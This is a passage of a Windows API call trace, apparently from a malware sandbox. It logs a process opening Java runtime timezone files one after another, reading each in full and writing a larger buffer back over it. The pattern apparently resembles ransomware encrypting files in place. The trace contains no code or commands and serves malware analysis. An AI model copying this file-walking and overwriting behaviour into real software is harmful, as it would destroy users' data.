lpNumberOfBytesRead=0x2a0f2bc*=0x4ba, lpOverlapped=0x0) returned 1 [0048.787] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0048.787] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0xa42, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2a0f2d0*=0xa42, lpOverlapped=0x0) returned 1 [0048.787] CloseHandle (hObject=0x1ac) returned 1 [0048.788] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bissau" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\bissau"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.788] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.788] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x4d [0048.788] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.788] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.788] ReleaseMutex (hMutex=0x128) returned 1 [0048.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bissau", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0048.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bissau", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bissau", lpUsedDefaultChar=0x0) returned 6 [0048.788] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e8f2e8, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f2e8*, lpNumberOfBytesRead=0x2a0f2bc*=0x4d, lpOverlapped=0x0) returned 1 [0048.789] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0048.789] WriteFile (in: hFile=0x1ac, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0048.789] CloseHandle (hObject=0x1ac) returned 1 [0048.790] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Djibouti" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\djibouti"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.790] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.790] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x41 [0048.790] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.790] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.790] ReleaseMutex (hMutex=0x128) returned 1 [0048.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Djibouti", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0048.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Djibouti", cchWideChar=8, lpMultiByteStr=0x1e62fcc, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Djibouti", lpUsedDefaultChar=0x0) returned 8 [0048.790] ReadFile (in: hFile=0x1ac, lpBuffer=0x1eaad18, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaad18*, lpNumberOfBytesRead=0x2a0f2bc*=0x41, lpOverlapped=0x0) returned 1 [0048.791] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0048.791] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0048.791] CloseHandle (hObject=0x1ac) returned 1 [0048.791] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kigali" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\kigali"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.792] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.792] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x41 [0048.792] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.792] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.792] ReleaseMutex (hMutex=0x128) returned 1 [0048.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kigali", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0048.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kigali", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Kigali", lpUsedDefaultChar=0x0) returned 6 [0048.792] ReadFile (in: hFile=0x1ac, lpBuffer=0x1eaad18, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaad18*, lpNumberOfBytesRead=0x2a0f2bc*=0x41, lpOverlapped=0x0) returned 1 [0048.793] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0048.793] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0048.793] CloseHandle (hObject=0x1ac) returned 1 [0048.793] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Maseru" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\maseru"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.793] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.793] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x59 [0048.794] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.794] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.794] ReleaseMutex (hMutex=0x128) returned 1 [0048.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Maseru", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0048.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Maseru", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Maseru", lpUsedDefaultChar=0x0) returned 6 [0048.794] ReadFile (in: hFile=0x1ac, lpBuffer=0x1ea3eb8, nNumberOfBytesToRead=0x59, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3eb8*, lpNumberOfBytesRead=0x2a0f2bc*=0x59, lpOverlapped=0x0) returned 1 [0048.794] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0048.794] WriteFile (in: hFile=0x1ac, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e1, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5e1, lpOverlapped=0x0) returned 1 [0048.795] CloseHandle (hObject=0x1ac) returned 1 [0048.795] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Sao_Tome" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\sao_tome"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.795] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.795] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x41 [0048.795] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.795] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.795] ReleaseMutex (hMutex=0x128) returned 1 [0048.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sao_Tome", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0048.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sao_Tome", cchWideChar=8, lpMultiByteStr=0x1e630ac, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sao_Tome", lpUsedDefaultChar=0x0) returned 8 [0048.795] ReadFile (in: hFile=0x1ac, lpBuffer=0x1eaad18, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaad18*, lpNumberOfBytesRead=0x2a0f2bc*=0x41, lpOverlapped=0x0) returned 1 [0048.796] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0048.796] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0048.796] CloseHandle (hObject=0x1ac) returned 1 [0048.797] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\Catamarca" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\catamarca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.797] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.797] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x225 [0048.797] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.797] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.797] ReleaseMutex (hMutex=0x128) returned 1 [0048.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Catamarca", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Catamarca", cchWideChar=9, lpMultiByteStr=0x1e62fcc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Catamarca", lpUsedDefaultChar=0x0) returned 9 [0048.797] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x225, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x2a0f2bc*=0x225, lpOverlapped=0x0) returned 1 [0048.798] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0048.798] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613698*, nNumberOfBytesToWrite=0x7ad, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesWritten=0x2a0f2d0*=0x7ad, lpOverlapped=0x0) returned 1 [0048.798] CloseHandle (hObject=0x1ac) returned 1 [0048.798] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\Ushuaia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\ushuaia"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.799] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.799] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x225 [0048.799] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.799] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.799] ReleaseMutex (hMutex=0x128) returned 1 [0048.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ushuaia", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0048.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ushuaia", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ushuaia", lpUsedDefaultChar=0x0) returned 7 [0048.799] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x225, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x2a0f2bc*=0x225, lpOverlapped=0x0) returned 1 [0048.800] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0048.800] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613698*, nNumberOfBytesToWrite=0x7ad, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesWritten=0x2a0f2d0*=0x7ad, lpOverlapped=0x0) returned 1 [0048.800] CloseHandle (hObject=0x1ac) returned 1 [0048.800] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Boa_Vista" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\boa_vista"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.036] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.036] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x149 [0050.036] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.036] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.036] ReleaseMutex (hMutex=0x128) returned 1 [0050.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Boa_Vista", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Boa_Vista", cchWideChar=9, lpMultiByteStr=0x1e630ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Boa_Vista", lpUsedDefaultChar=0x0) returned 9 [0050.036] ReadFile (in: hFile=0x170, lpBuffer=0x253c818, nNumberOfBytesToRead=0x149, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253c818*, lpNumberOfBytesRead=0x2a0f2bc*=0x149, lpOverlapped=0x0) returned 1 [0050.037] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.037] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6d1, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x6d1, lpOverlapped=0x0) returned 1 [0050.037] CloseHandle (hObject=0x170) returned 1 [0050.037] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Chihuahua" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\chihuahua"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.037] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.037] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x330 [0050.038] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.038] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.038] ReleaseMutex (hMutex=0x128) returned 1 [0050.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Chihuahua", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Chihuahua", cchWideChar=9, lpMultiByteStr=0x1e6314c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Chihuahua", lpUsedDefaultChar=0x0) returned 9 [0050.038] ReadFile (in: hFile=0x170, lpBuffer=0x2750828, nNumberOfBytesToRead=0x330, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x2a0f2bc*=0x330, lpOverlapped=0x0) returned 1 [0050.041] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.041] WriteFile (in: hFile=0x170, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8b8, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2a0f2d0*=0x8b8, lpOverlapped=0x0) returned 1 [0050.041] CloseHandle (hObject=0x170) returned 1 [0050.042] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Dominica" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\dominica"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.042] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.042] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x41 [0050.042] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.042] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.042] ReleaseMutex (hMutex=0x128) returned 1 [0050.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dominica", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0050.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dominica", cchWideChar=8, lpMultiByteStr=0x1e630ac, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dominica", lpUsedDefaultChar=0x0) returned 8 [0050.042] ReadFile (in: hFile=0x170, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x2a0f2bc*=0x41, lpOverlapped=0x0) returned 1 [0050.043] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.043] WriteFile (in: hFile=0x170, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0050.043] CloseHandle (hObject=0x170) returned 1 [0050.043] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Guadeloupe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\guadeloupe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.044] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.044] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x41 [0050.044] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.044] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.044] ReleaseMutex (hMutex=0x128) returned 1 [0050.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Guadeloupe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0050.044] 